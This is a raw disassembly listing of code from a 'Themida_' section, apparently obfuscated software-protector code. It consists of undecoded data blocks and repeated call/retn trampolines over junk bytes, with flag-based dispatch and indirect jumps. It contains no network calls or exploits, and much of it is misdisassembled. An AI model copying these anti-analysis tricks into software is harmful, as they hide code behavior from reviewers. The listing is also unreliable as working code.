dd 0F9858D14h, 6A06153Bh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 3C5AC357h, 79F50B0Dh
dd 10159D29h, 0D0FF0612h, 4DDA8166h, 8BD8B6F0h, 124D2F8Dh
dd 7E906h, 0CC2A0000h, 4EABFEE5h, 6601FEADh, 858BDF8Bh
dd 6124D2Fh, 5890Fh, 81660000h, 0FEB438D3h, 698D8900h
dd 6A061228h, 0E9858901h, 68061214h, 0E18D3263h, 0F88A5250h
dd 5250310Fh, 310F5A57h, 310F5250h, 585A585Ah, 3481585Ah
dd 72AD9C24h, 0BDBA661Eh, 71BD898Bh, 8D06121Ah, 153C0385h
dd 13E806h, 4CDA0000h, 8A9E8F6Bh, 63B256CBh, 1F87D7C6h
dd 8FC78857h, 0DE8B66BAh, 81D0FF5Bh, 0E3A3F8EBh, 0BDBD830Fh
dd 61205h, 0FE840Fh, 0B5890000h, 6120459h, 7ADBD83h, 0F010612h
dd 0EB85h, 3890F00h, 80000000h, 8D8D55F2h
dd 6153C0Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 0CFC35747h, 0DDC06716h, 8E8F8F7h, 70000000h, 74930328h
dd 891A1B32h, 121241BDh, 36A5B06h, 1495BD89h, 16A0612h
dd 2C399D8Bh, 0D1FF0612h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 0FEC35646h, 0FAB463A8h, 16AFCB7h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 4AC35646h, 0BF0F016Ah
dd 0DA8B66D1h, 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 4EC1D2C3h, 23A7A7EBh, 820FC24Ch
dd 5, 2CE713BBh, 15958911h, 0E8061200h, 0FA496D30h, 0BE9h
dd 0BE5EE000h, 4AE05277h, 25A57566h, 8B66206Ah, 0EE9D6h
dd 7F390000h, 289BD2B2h, 99A25F84h, 0B3E6D27Fh, 0F60FF6Ah
dd 689h, 19858900h, 29061221h, 12099585h, 95FF6106h, 61214A5h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A3C35646h
dd 0D7B4BE1Dh, 0B88895h, 0E9000000h, 5, 0AC84D7DDh, 13E948h
dd 0F7BE0000h, 4A8C12A3h, 0A8898B6Ah, 5B27F6C4h, 0F7B3E846h
dd 0FC00BFEh, 6184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1704h, 0C3534300h, 97B4FE04h, 2DE98D89h
dd 0BD830612h, 6120DB5h, 2F840F00h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 93D3C352h, 0C995FF44h, 0E9061210h, 6, 2F4FF1B0h, 858B9CC9h
dd 61203A5h, 0C6F9h, 19FD952Bh, 51580612h, 10D9952Bh, 665A0612h
dd 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 0B7D59BC3h, 4C1F666h, 79840Fh, 71BB0000h
dd 0E95B8DBDh, 6Fh, 7B9BBB66h, 9C1B58Bh, 0CE80612h, 0F000000h
dd 79BF977Dh, 62FC872Eh, 0F91CC020h, 80C6815Bh, 0E8000011h
dd 0Bh, 80646015h, 5B53FFC9h, 813A64E2h, 15A4DFDAh, 6C75A46h
dd 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_54D4FB
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54D4FB proc near ; CODE XREF: Themida_:0054D4F3p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_54D4FB endp
; ---------------------------------------------------------------------------
db 0CFh
; ---------------------------------------------------------------------------
mov edi, esp
push es
lodsb
push edx
push edi
and eax, 1B998509h
adc al, [esi]
mov edx, [ebp+6121F7Dh]
pop esi
jo loc_54D53A
jmp loc_54D53A
; ---------------------------------------------------------------------------
db 70h
dd 1FCFCE9h, 78CB049Eh, 0E5628B55h
; ---------------------------------------------------------------------------
xor al, 0C5h
loc_54D53A: ; CODE XREF: Themida_:0054D520j
; Themida_:0054D526j
or [ebp+61223B9h], ecx
cmp eax, 0
jz loc_54E0A6
mov dx, bx
mov edx, ecx
cmp eax, 1
jnz loc_54D6A2
or ebx, 2D0CD24Eh
mov eax, 0
sbb bh, 2Bh
or eax, eax
jz loc_54D629
push 0
push edi
call sub_54D578
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54D578 proc near ; CODE XREF: Themida_:0054D570p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_54D578 endp
; ---------------------------------------------------------------------------
popa
lodsb
mov edx, [ebp+6121345h]
cmp eax, 1
jz loc_54D663
mov bx, 0EE9Ah
cmp eax, 3
jz loc_54D5F1
mov ebx, 76E04D55h
sub eax, eax
mov edx, [ebp+6122ADDh]
lea edi, dword_5B89E0[ebp]
sbb bx, 8900h
jmp edi
; ---------------------------------------------------------------------------
push 0
push esi
call sub_54D5CB
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54D5CB proc near ; CODE XREF: Themida_:0054D5C3p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_54D5CB endp
; ---------------------------------------------------------------------------
db 28h
dd 2569B50h, 0E7E71C68h, 0B58B6008h, 6122081h, 8B61E68Ah
db 0D3h
; ---------------------------------------------------------------------------
loc_54D5F1: ; CODE XREF: Themida_:0054D5A0j
; Themida_:0054D704j
mov eax, 1
push 0
push edi
call sub_54D601
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54D601 proc near ; CODE XREF: Themida_:0054D5F9p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_54D601 endp
; ---------------------------------------------------------------------------
sahf
test [ebp-2574997Fh], al
lea edi, dword_5B89E0[ebp]
sbb edx, 4626685Bh
jmp edi
; ---------------------------------------------------------------------------
xor dl, 0B8h
loc_54D629: ; CODE XREF: Themida_:0054D567j
lea edi, [ebp+61243BBh]
jge loc_54D636
clc
loc_54D636: ; CODE XREF: Themida_:0054D62Fj
jmp loc_54D8F7
; ---------------------------------------------------------------------------
push 0
push eax
call sub_54D646
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54D646 proc near ; CODE XREF: Themida_:0054D63Ep
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_54D646 endp
; ---------------------------------------------------------------------------
dw 0ED42h
dd 35B7EF97h, 665B2953h
db 0BAh, 13h, 0CBh
; ---------------------------------------------------------------------------
loc_54D663: ; CODE XREF: Themida_:0054D593j
; Themida_:0054D6E9j
mov dword ptr [ebp+6124D8Ah], 5
push 0
push ebp
call sub_54D678
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54D678 proc near ; CODE XREF: Themida_:0054D670p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_54D678 endp
; ---------------------------------------------------------------------------
xchg eax, esp
or cl, [ecx+1203D185h]
push es
mov eax, 5
mov ebx, eax
jmp loc_54DFD5
; ---------------------------------------------------------------------------
mov edx, [ebp+6121BC9h]
loc_54D6A2: ; CODE XREF: Themida_:0054D551j
cmp eax, 2
jnz loc_54D777
add bh, 5Fh
mov eax, 0
push 0
push eax
call sub_54D6BE
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54D6BE proc near ; CODE XREF: Themida_:0054D6B6p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_54D6BE endp
; ---------------------------------------------------------------------------
clc
jnb short loc_54D737
sub edx, 0C00BAE26h
jz loc_54D751
pusha
mov edi, [ebp+61208ADh]
stc
popa
cmp eax, 1
jz loc_54D663
jmp loc_54D701
; ---------------------------------------------------------------------------
dd 0C3D722BAh, 80DB33Eh, 0DE3AEA2Ah
db 0E6h
; ---------------------------------------------------------------------------
loc_54D701: ; CODE XREF: Themida_:0054D6EFj
cmp eax, 3
jz loc_54D5F1
mov [ebp+61211E9h], esi
mov eax, 0
sub dl, 0BEh
lea edi, dword_5B89E0[ebp]
push 0
push ebx
call sub_54D729
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54D729 proc near ; CODE XREF: Themida_:0054D721p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
loc_54D737: ; CODE XREF: Themida_:0054D6CFj
push ebx
retn
sub_54D729 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0ACh, 0E5h, 9Eh
; ---------------------------------------------------------------------------
add byte ptr [ebx+40h], 60h
mov [ebp+6120D45h], ecx
mov ebx, esi
popa
jmp edi
; ---------------------------------------------------------------------------
mov [ebp+61223A5h], ebx
loc_54D751: ; CODE XREF: Themida_:0054D6D7j
lea edi, [ebp+61245B3h]
js loc_54D760
add bh, 60h
loc_54D760: ; CODE XREF: Themida_:0054D757j
jmp loc_54D8F7
; ---------------------------------------------------------------------------
jno loc_54D777
jnb loc_54D777
sub [ebp+61211E1h], eax
loc_54D777: ; CODE XREF: Themida_:0054D6A5j
; Themida_:0054D765j ...
cmp eax, 3
jnz loc_54D7DC
push 0
push ebp
call sub_54D78B
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54D78B proc near ; CODE XREF: Themida_:0054D783p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_54D78B endp
; ---------------------------------------------------------------------------
db 0B5h
dd 506EFC33h, 0DAD8531h, 8D5A0612h, 124747BDh, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 0D0196F50h, 8A52B355h, 121E9D9h, 0BD010000h, 61223A1h
; ---------------------------------------------------------------------------
loc_54D7DC: ; CODE XREF: Themida_:0054D77Aj
cmp eax, 5
jnz loc_54D821
mov [ebp+612158Dh], edi
jmp loc_54D7F7
; ---------------------------------------------------------------------------
dd 0A9F9D11Eh
; ---------------------------------------------------------------------------
retn 0A3E6h
; ---------------------------------------------------------------------------
loc_54D7F7: ; CODE XREF: Themida_:0054D7EBj
jmp loc_54DFD5
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_54D807
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54D807 proc near ; CODE XREF: Themida_:0054D7FFp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_54D807 endp
; ---------------------------------------------------------------------------
mov eax, [eax-6A74D12Dh]
lea eax, [ecx]
adc al, [esi]
loc_54D821: ; CODE XREF: Themida_:0054D7DFj
cmp eax, 6
jnz loc_54D85A
lea edi, [ebp+612493Fh]
mov dx, ax
jmp loc_54D8F7
; ---------------------------------------------------------------------------
call sub_54D848
dec ecx
inc esp
pop ss
scasd
faddp st(1), st
mov ds:0EEA3735Bh, al
; =============== S U B R O U T I N E =======================================
sub_54D848 proc near ; CODE XREF: Themida_:0054D838p
; FUNCTION CHUNK AT 0054D8C0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0054D8E8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054D8F7 SIZE 0000000C BYTES
or [ebp+61226A1h], edx
pop edx
pusha
sub bh, 0A5h
mov [ebp+6121E45h], ebx
popa
loc_54D85A: ; CODE XREF: Themida_:0054D824j
cmp eax, 7
jnz loc_54D8C0
call near ptr loc_54D877+3
push ss
xor eax, 3AFE92ECh
mov cl, [edi+2Eh]
std
repne pusha
sbb edx, [eax+74h]
loc_54D877: ; CODE XREF: sub_54D848+1Bp
mov ecx, 8B665D9Dh
sub_54D848 endp ; sp-analysis failed
ficomp dword ptr [ebx-73h]
mov ebp, 6120A31h
push 0
push edi
call sub_54D88F
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54D88F proc near ; CODE XREF: Themida_:0054D887p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_54D88F endp
; ---------------------------------------------------------------------------
db 4
dd 5DB30E3Eh, 0E9929EE7h, 126h, 8E8h, 0A32F4900h, 0A7160F0Ah
dd 958B5AE8h, 6122DFDh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_54D848
loc_54D8C0: ; CODE XREF: sub_54D848+15j
cmp eax, 0Ah
jnz loc_54D8F7
xor edx, 5E7D2422h
jl loc_54D8D8
movsx edx, si
loc_54D8D8: ; CODE XREF: sub_54D848+87j
lea edi, [ebp+6124B37h]
jmp loc_54D8E8
; END OF FUNCTION CHUNK FOR sub_54D848
; ---------------------------------------------------------------------------
db 0A4h
dd 0E8C68A9Bh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_54D848
loc_54D8E8: ; CODE XREF: sub_54D848+96j
jmp loc_54D8F7
; END OF FUNCTION CHUNK FOR sub_54D848
; ---------------------------------------------------------------------------
ja loc_54D8F7
mov bx, 0CA04h
; START OF FUNCTION CHUNK FOR sub_54D848
loc_54D8F7: ; CODE XREF: Themida_:loc_54D636j
; Themida_:loc_54D760j ...
push edi
push 0
push esi
call sub_54D903
and [esi-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_54D848
; =============== S U B R O U T I N E =======================================
sub_54D903 proc near ; CODE XREF: sub_54D848+B3p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_54D903 endp
; ---------------------------------------------------------------------------
db 8Ch
; ---------------------------------------------------------------------------
aas
idiv al
or [edi], ch
sbb dx, 0E849h
jmp loc_54D933
; ---------------------------------------------------------------------------
db 0A1h
dd 903B05B1h, 5AB4833Ch, 2083480Bh
db 9Bh, 46h, 28h
; ---------------------------------------------------------------------------
loc_54D933: ; CODE XREF: Themida_:0054D91Ej
mov ecx, 653F940Ch
jmp loc_54D950
; ---------------------------------------------------------------------------
db 0ACh, 0FAh, 0D6h
dd 0B0C84952h, 5F78E59Eh, 7040A76h, 0B157CEB4h
; ---------------------------------------------------------------------------
loc_54D950: ; CODE XREF: Themida_:0054D938j
cmp dword ptr [edi], 0
jz loc_54D9A8
mov dx, 9FABh
xor [edi], cl
adc edx, 447566DCh
mov edx, [ebp+6121F99h]
ror ecx, 1
push 0
push ecx
call sub_54D978
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54D978 proc near ; CODE XREF: Themida_:0054D970p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_54D978 endp
; ---------------------------------------------------------------------------
dd 998701B7h, 0D9DE77EAh, 0E94725E4h, 5, 9E1AA6B0h, 0FFAEE92Fh
dd 8589FFFFh, 61212C1h
; ---------------------------------------------------------------------------
loc_54D9A8: ; CODE XREF: Themida_:0054D953j
pop edi
push 0
push esi
call sub_54D9B4
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54D9B4 proc near ; CODE XREF: Themida_:0054D9ACp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_54D9B4 endp
; ---------------------------------------------------------------------------
dd 0FE07DEBDh, 6A7AF155h, 23B5958Bh, 0BD890612h, 6124D33h
dd 89F78A60h, 122A058Dh, 8D8D6106h, 61216B5h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 10C35141h, 958BD3B2h
dd 6120899h, 30FDB5FFh, 8DF80612h, 14A7DF85h, 0BD8D5006h
dd 612540Ah, 70178D8Dh, 0BCB80612h, 2B54831Ah, 0D00730CFh
dd 754947C8h, 92B58DF8h, 8D06126Fh, 12702F8Dh, 0F3CF2B06h
dd 0B8C933A4h, 0
; ---------------------------------------------------------------------------
or eax, eax
jz short loc_54DA96
cmp dword ptr [ebp+6120DB5h], 0
jz short loc_54DA5F
call dword ptr [ebp+61210C9h]
loc_54DA5F: ; CODE XREF: Themida_:0054DA57j
mov esi, [ebp+6124D33h]
lea eax, [ebp+614A7DFh]
call eax
lea eax, [ebp+6124350h]
call eax
mov dword ptr [ebp+6121229h], 1
mov esp, [ebp+6120469h]
mov esi, [ebp+6120EF5h]
mov ebp, [ebp+61228A5h]
xor eax, eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_54DA96: ; CODE XREF: Themida_:0054DA4Ej
mov dh, 50h
ja loc_54DAA1
adc dh, 0Eh
loc_54DAA1: ; CODE XREF: Themida_:0054DA98j
cmp dword ptr [ebp+6121D65h], 0
jz loc_54DAC7
mov bl, ah
call dword ptr [ebp+6121FEDh]
jmp loc_54DAC7
; ---------------------------------------------------------------------------
retn 40C4h
; ---------------------------------------------------------------------------
dw 938Eh
dd 8AA06A51h
db 0DDh, 0C9h, 72h
; ---------------------------------------------------------------------------
loc_54DAC7: ; CODE XREF: Themida_:0054DAA8j
; Themida_:0054DAB6j
cmp dword ptr [ebp+6120099h], 0
jnz loc_54DC6C
mov edx, 61C6AB1Bh
mov edx, [ebp+61203F5h]
cmp dword ptr [ebp+61207ADh], 1
jnz loc_54DC6C
mov [ebp+6121811h], esi
cmp dword ptr [ebp+61217B1h], 0
jz loc_54DC6C
mov [ebp+61231ADh], ecx
cmp dword ptr [ebp+6124D86h], 0
jz loc_54DC6C
push 0
push edi
call sub_54DB1D
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54DB1D proc near ; CODE XREF: Themida_:0054DB15p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_54DB1D endp
; ---------------------------------------------------------------------------
db 0FDh, 1Ch, 6Ah
dd 8952F24Dh, 1220D9B5h, 858D5A06h, 614A7DFh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0EBC35646h, 0FE4E412h
dd 0B81h, 5890F00h, 0BB000000h, 409B2B75h, 4D33B58Bh, 0BF0F0612h
dd 0C6D0FFDBh, 12287185h, 0B70F5406h, 0DEDC68D8h, 8B66A1BEh
dd 240481D9h, 5D8FE018h, 19ED9D8Bh, 850F0612h, 5, 0C4CA8166h
dd 0B1B5FFF8h, 1061203h, 12016D9Dh, 5D858D06h, 0F06123Bh
dd 385h, 0D78B6600h, 0BD29D0FFh, 6122AADh, 6A006Ah, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 12E97CC3h, 0FD000000h, 4F2D44AFh, 0BCC2AF0Bh, 73FA7384h
dd 2A84D510h, 6AFF6A8Eh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 0B3E1C353h, 808BA33Eh
dd 10E936h, 37DA0000h, 6489EF69h, 0B516ED5Bh, 8D7E4D3Eh
dd 0D0FFC3D6h, 34A98D89h, 0B5FF0612h, 6121E71h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 7EC35141h, 30FD95FFh
dd 95890612h, 61209ADh
; ---------------------------------------------------------------------------
loc_54DC6C: ; CODE XREF: Themida_:0054DACEj
; Themida_:0054DAE6j ...
mov esi, [ebp+6124D33h]
jo locret_54DC80
jl locret_54DC80
pusha
popa
locret_54DC80: ; CODE XREF: Themida_:0054DC72j
; Themida_:0054DC78j
retn
; ---------------------------------------------------------------------------
jmp loc_54DC8D
; ---------------------------------------------------------------------------
sub ch, [esi+esi+259CAD61h]
loc_54DC8D: ; CODE XREF: Themida_:0054DC81j
mov esi, [ebp+61203A5h]
push 0
push edx
call sub_54DC9E
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54DC9E proc near ; CODE XREF: Themida_:0054DC96p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_54DC9E endp
; ---------------------------------------------------------------------------
dw 33E2h
; ---------------------------------------------------------------------------
popf
and [edx], ecx
adc al, [esi]
push edi
call sub_54DCCE
and al, 0BEh
std
retn 5FF2h
; ---------------------------------------------------------------------------
align 2
dw 336Bh
dd 2D30EFDAh, 7A183783h
db 0FBh, 15h
; =============== S U B R O U T I N E =======================================
sub_54DCCE proc near ; CODE XREF: Themida_:0054DCB6p
; FUNCTION CHUNK AT 0054DD09 SIZE 00000011 BYTES
mov edx, [ebp+6121309h]
pop edx
pop ebx
or esi, esi
jz loc_54DD09
push 0
push edi
call sub_54DCE9
and [edi-3Dh], bl
sub_54DCCE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_54DCE9 proc near ; CODE XREF: sub_54DCCE+13p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_54DCE9 endp
; ---------------------------------------------------------------------------
cwde
mov bx, 7CB8h
mov byte ptr [esi], 0
mov bl, dl
xor edx, [ebp+6120929h]
; START OF FUNCTION CHUNK FOR sub_54DCCE
loc_54DD09: ; CODE XREF: sub_54DCCE+Aj
mov [ebp+6124D3Bh], eax
push 0
push ebx
call sub_54DD1A
and [ebx-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_54DCCE
; =============== S U B R O U T I N E =======================================
sub_54DD1A proc near ; CODE XREF: sub_54DCCE+44p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_54DD1A endp
; ---------------------------------------------------------------------------
dw 93CFh
; ---------------------------------------------------------------------------
sub byte ptr [esi-4Dh], 8Dh
mov dx, 977Bh
cmp eax, 0
jz loc_54E0A6
push 0
push edi
call sub_54DD48
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54DD48 proc near ; CODE XREF: Themida_:0054DD40p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_54DD48 endp
; ---------------------------------------------------------------------------
dd 3A9F5D9Bh, 717948B1h, 28A0Fh, 0EBB60000h, 0B8h, 0C2816600h
dd 0F8833AEFh, 92840F00h, 0F8000000h, 0F02F883h, 7B85h
dd 0F2816600h, 858DB2A5h, 61243B6h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 0B9C35141h, 0D32E0DB1h, 43D60DE9h
dd 95D8531h, 95230612h, 61201D9h, 9292Dh, 0DF8B6600h, 84BA6690h
dd 50605006h, 5E952h, 0B9510000h, 0F022A90h, 0F525031h
dd 5A585A31h, 11BE6658h, 609061B8h, 0D399D8Bh, 85890612h
dd 61211B5h, 9D33C361h, 61229D1h, 0B8h, 29CE900h, 8B660000h
dd 1B8DFh, 8C0F0000h, 6, 0C819D8Bh, 0BD8D0612h, 61243BBh
dd 6810Fh, 85010000h, 61234F9h, 100E9h, 0D68B6600h, 0F02F883h
dd 5485h, 0BD8DFC00h, 61245B3h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 0F4C35040h, 11AD20Bh, 1204D195h
dd 0ED858906h, 0E9061215h, 0BDh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 35C35343h, 3F88325h, 67850Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 0CB8DE5C3h, 69952923h, 8D061205h, 124747BDh
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 56D3ED06h, 3805EEAh, 820FF46Bh, 0Ch, 7E9h
dd 4E6BCD00h, 0B9C29A6Dh, 30E9h, 5F88300h, 27850Fh, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 0D913ACC3h, 0FAE68087h, 0A0E9h, 8D295700h, 612118Dh
dd 3F940CB9h, 53006A65h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1504h, 0C3534300h, 3F8365D5h, 6E840F00h, 89000000h
dd 12233D85h, 6A0F3006h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 9C07C357h, 0E9FB0A87h
dd 12h, 8E2ECE2Dh, 38E47611h, 0BE90ADADh, 0A55684B1h, 0C9D16A98h
dd 47FCE380h, 0ABE90EB7h, 66FFFFFFh, 9B97C281h, 10E960h
dd 26710000h, 741FEE1Bh, 0B8C1142Eh, 0A5ABEB52h, 9D314C5Bh
dd 6122199h
; ---------------------------------------------------------------------------
popa
loc_54DFD5: ; CODE XREF: Themida_:0054D697j
; Themida_:loc_54D7F7j
cmp eax, 5
jnz loc_54E0A6
push 0
push eax
call sub_54DFE9
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54DFE9 proc near ; CODE XREF: Themida_:0054DFE1p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_54DFE9 endp
; ---------------------------------------------------------------------------
mov esp, 0B1BD899Dh
adc al, es:[esi]
mov cx, ds
push 0
push esi
call sub_54E00F
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54E00F proc near ; CODE XREF: Themida_:0054E007p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_54E00F endp
; ---------------------------------------------------------------------------
js short near ptr loc_54E03C+2
mov ch, 0F3h
test cl, 4
jnz loc_54E060
push 0
push edi
call sub_54E037
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54E037 proc near ; CODE XREF: Themida_:0054E02Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
loc_54E03C: ; CODE XREF: Themida_:0054E01Fj
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_54E037 endp
; ---------------------------------------------------------------------------
icebp
sub cl, [edi]
mov bh, 0D8h
mov dx, di
mov eax, 0
mov ebx, 77DBF351h
jmp loc_54E0A6
; ---------------------------------------------------------------------------
mov ebx, eax
loc_54E060: ; CODE XREF: Themida_:0054E026j
mov eax, [ebp+6121C61h]
jmp loc_54E07E
; ---------------------------------------------------------------------------
db 0B2h
dd 0F404BEBh, 0EB1C8CECh, 9BF6500Dh, 3C8384CCh
; ---------------------------------------------------------------------------
add al, 0C1h
loc_54E07E: ; CODE XREF: Themida_:0054E066j
jmp eax
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_54E08B
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54E08B proc near ; CODE XREF: Themida_:0054E083p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_54E08B endp
; ---------------------------------------------------------------------------
inc esi
ffreep st(2)
or al, 48h
mov [ebp+6121AF1h], edx
loc_54E0A6: ; CODE XREF: Themida_:0054D543j
; Themida_:0054DD37j ...
cmp dword ptr [ebp+61230FDh], 0
jnz loc_54E1A7
pusha
jbe loc_54E0D2
jmp loc_54E0D2
; ---------------------------------------------------------------------------
db 0BAh
dd 0B3D13848h, 0AE3508AEh, 1188B17Ah, 11BC0568h
; ---------------------------------------------------------------------------
adc al, 22h
loc_54E0D2: ; CODE XREF: Themida_:0054E0B4j
; Themida_:0054E0BAj
mov ebx, [ebp+612040Dh]
popa
jge loc_54E0F0
jmp loc_54E0F0
; ---------------------------------------------------------------------------
dd 4E223B3Fh, 46D054C6h, 511B3F47h
; ---------------------------------------------------------------------------
loc_54E0F0: ; CODE XREF: Themida_:0054E0D9j
; Themida_:0054E0DFj
nop
mov dx, 623Ch
push eax
mov dl, bl
nop
push 0
push ebp
call sub_54E104
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54E104 proc near ; CODE XREF: Themida_:0054E0FCp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_54E104 endp
; ---------------------------------------------------------------------------
dd 0FF8F7DDh, 0BD29DBB7h, 6121759h, 287185C6h, 8A450612h
dd 68D98AF1h, 0AC8A4D40h, 8D53CFBAh, 24348126h, 22F82429h
dd 1BD1B589h, 0B5FF0612h, 61203B1h, 98F0Fh, 870F0000h
dd 3, 66E1DA80h, 3E43DA81h, 3B5D858Dh, 0BE80612h, 0A4000000h
dd 60C8081h, 0CB64393Ch, 958BE098h, 6120491h, 0B2D0FF5Bh
dd 15958B2Eh, 89061209h, 1230FD85h, 0DF8B6606h, 6E858h
dd 2BCA0000h, 6258DE94h, 85953156h, 5A061223h, 9195035Ah
; ---------------------------------------------------------------------------
sbb dl, [edx]
push es
loc_54E1A7: ; CODE XREF: Themida_:0054E0ADj
cmp dword ptr [ebp+6124D8Ah], 0
jz loc_54E225
push 0
push esi
call sub_54E1BF
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54E1BF proc near ; CODE XREF: Themida_:0054E1B7p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
